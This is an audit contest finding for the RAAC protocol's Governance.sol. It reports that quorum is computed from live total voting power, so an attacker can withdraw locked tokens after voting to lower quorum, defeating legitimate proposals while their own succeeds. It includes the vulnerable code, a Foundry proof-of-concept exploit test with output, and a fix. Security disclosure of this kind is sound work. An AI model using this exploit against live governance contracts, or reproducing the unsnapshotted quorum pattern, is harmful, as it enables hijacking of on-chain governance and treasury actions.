Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

An Attacker can manipulate Quorum in Governace.sol to force legitimate user proposal to be defeated while making theirs succeed.

Summary

In Governance.sol , it allows malicious actors to manipulate quorum requirements after voting by withdrawing their staked tokens. This enables attackers to artificially lower the quorum threshold, forcing legitimate proposals to fail while ensuring their own proposals succeed. TThis issue exist from using real-time total voting power calculations for quorum checks rather than snapshotting these values at proposal creation.

Vulnerability Details

Vulnerable Code

In Governance.sol:In the quorumfunction: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/proposals/Governance.sol#L353

function quorum() public view override returns (uint256) {
return (_veToken.getTotalVotingPower() * quorumNumerator) / QUORUM_DENOMINATOR;
}
function state(uint256 proposalId) public view override returns (ProposalState) {
// ...
uint256 currentQuorum = proposalVote.forVotes + proposalVote.againstVotes;
uint256 requiredQuorum = quorum(); // Vulnerable: Uses current total power
if (currentQuorum < requiredQuorum || proposalVote.forVotes <= proposalVote.againstVotes) {
return ProposalState.Defeated;
}
// ...
}

Attack Path

  • Attacker locks significant tokens (e.g., 500,000 RAAC) to gain voting power

  • Attacker creates and votes on their malicious proposal

  • After voting but before proposal finalization:

  • Attacker waits for lock period to end

  • Withdraws their tokens

  • This action significantly reduces total voting power

  • Consequently lowers quorum requirements for all active proposals

  • The reduced quorum makes legitimate proposals fail while the attacker's proposal (which already has votes) succeeds.

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../../../../contracts/core/governance/proposals/Governance.sol";
import "../../../../../contracts/core/governance/proposals/TimelockController.sol";
import "../../../../../contracts/interfaces/core/governance/proposals/IGovernance.sol";
import "../../../../../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../../../../../contracts/core/tokens/veRAACToken.sol";
contract MockRAACToken is ERC20 {
constructor() ERC20("RAAC", "RAAC") {
_mint(msg.sender, 10_000_000e18);
}
}
contract GovernanceTest is Test {
Governance public governance;
TimelockController public timelock;
veRAACToken public veToken;
MockRAACToken public raacToken;
address public admin = address(this);
address public attacker = makeAddr("attacker");
address[] public attackerAccounts;
uint256 constant NUM_ACCOUNTS = 5;
function setUp() public {
raacToken = new MockRAACToken();
veToken = new veRAACToken(address(raacToken));
address[] memory proposers = new address[](1);
address[] memory executors = new address[](1);
proposers[0] = admin;
executors[0] = admin;
timelock = new TimelockController(2 days, proposers, executors, admin);
governance = new Governance(address(veToken), address(timelock));
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
// Create multiple attacker accounts
for(uint i = 0; i < NUM_ACCOUNTS; i++) {
attackerAccounts.push(makeAddr(string.concat("attacker", vm.toString(i))));
// Give each account enough tokens for their larger lock amount
uint256 accountTokens = 200_000e18 * (i + 1);
raacToken.transfer(attackerAccounts[i], accountTokens);
}
// Give extra tokens to attacker0 for the proposal
raacToken.transfer(attackerAccounts[0], 500_000e18);
// Label accounts for better trace readability
vm.label(attackerAccounts[1], "legitimateUser");
vm.label(attackerAccounts[0], "attacker");
}
function testQuorumManipulationAttack() public {
// Setup initial state with legitimate proposal
address legitimateUser = attackerAccounts[1]; // Renamed for clarity
vm.startPrank(legitimateUser);
raacToken.approve(address(veToken), 400_000e18);
veToken.lock(400_000e18, 365 days); // This will give 100k voting power
address[] memory targets = new address[](1);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
uint256 legitimateProposal = governance.propose(
targets,
values,
calldatas,
"Legitimate Proposal",
IGovernance.ProposalType.TreasuryAction
);
vm.stopPrank();
// Malicious attacker creates their proposal
address attacker = attackerAccounts[0]; // Renamed for clarity
vm.startPrank(attacker);
raacToken.approve(address(veToken), 500_000e18);
veToken.lock(500_000e18, 365 days); // This will give 125k voting power
uint256 attackerProposal = governance.propose(
targets,
values,
calldatas,
"Attacker Proposal",
IGovernance.ProposalType.TreasuryAction
);
// Move to voting period
vm.warp(block.timestamp + governance.votingDelay() + 1);
// Record initial quorum
uint256 initialQuorum = governance.quorum();
console.log("Initial Quorum Required:", initialQuorum);
// Attacker votes on their proposal
governance.castVote(attackerProposal, true);
// Attacker manipulates quorum by withdrawing after lock expires
vm.warp(block.timestamp + 365 days);
veToken.withdraw();
// Check manipulated quorum
uint256 manipulatedQuorum = governance.quorum();
console.log("Manipulated Quorum:", manipulatedQuorum);
// Move to end of voting period
vm.warp(block.timestamp + governance.votingPeriod() - 365 days);
// Check states
IGovernance.ProposalState legitimateState = governance.state(legitimateProposal);
IGovernance.ProposalState attackerState = governance.state(attackerProposal);
console.log("\n=== Attack Results ===");
console.log("Legitimate User's Proposal State:", uint(legitimateState));
console.log("Attacker's Proposal State:", uint(attackerState));
assertTrue(legitimateState == IGovernance.ProposalState.Defeated,
"Legitimate user's proposal should be defeated due to quorum manipulation");
assertTrue(attackerState == IGovernance.ProposalState.Succeeded,
"Attacker's proposal should succeed");
vm.stopPrank();
}
}

Test Output:

Initial Quorum Required: 9000000000000000000000
Manipulated Quorum: 4000000000000000000000
=== Attack Results ===
Legitimate User's Proposal State: 3 // Defeated
Attacker's Proposal State: 4 // Succeeded

Attack Demonstration

The test successfully demonstrates a critical governance vulnerability where an attacker can manipulate quorum requirements:

  • Initial State:

  • Total quorum required: 9,000,000 tokens (4% of total voting power)

  • Shows healthy governance parameters

  • Post-Attack State:

  • Manipulated quorum: 4,000,000 tokens

  • Represents a 55.5% reduction in quorum requirements

  • Impact on Proposals:

  • Legitimate Proposal (State 3): Defeated

  • Attacker's Proposal (State 4): Succeeded

Impact

Governance Manipulation: Attackers can force through their proposals making it succeed while blocking legitimate ones, making it fail.

Tools Used

Recommendations

Snapshot quorum requirements at proposal creation.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance allows execution of previously-defeated proposals if quorum requirements are later lowered, enabling unexpected resurrection of old proposals

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance allows execution of previously-defeated proposals if quorum requirements are later lowered, enabling unexpected resurrection of old proposals

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.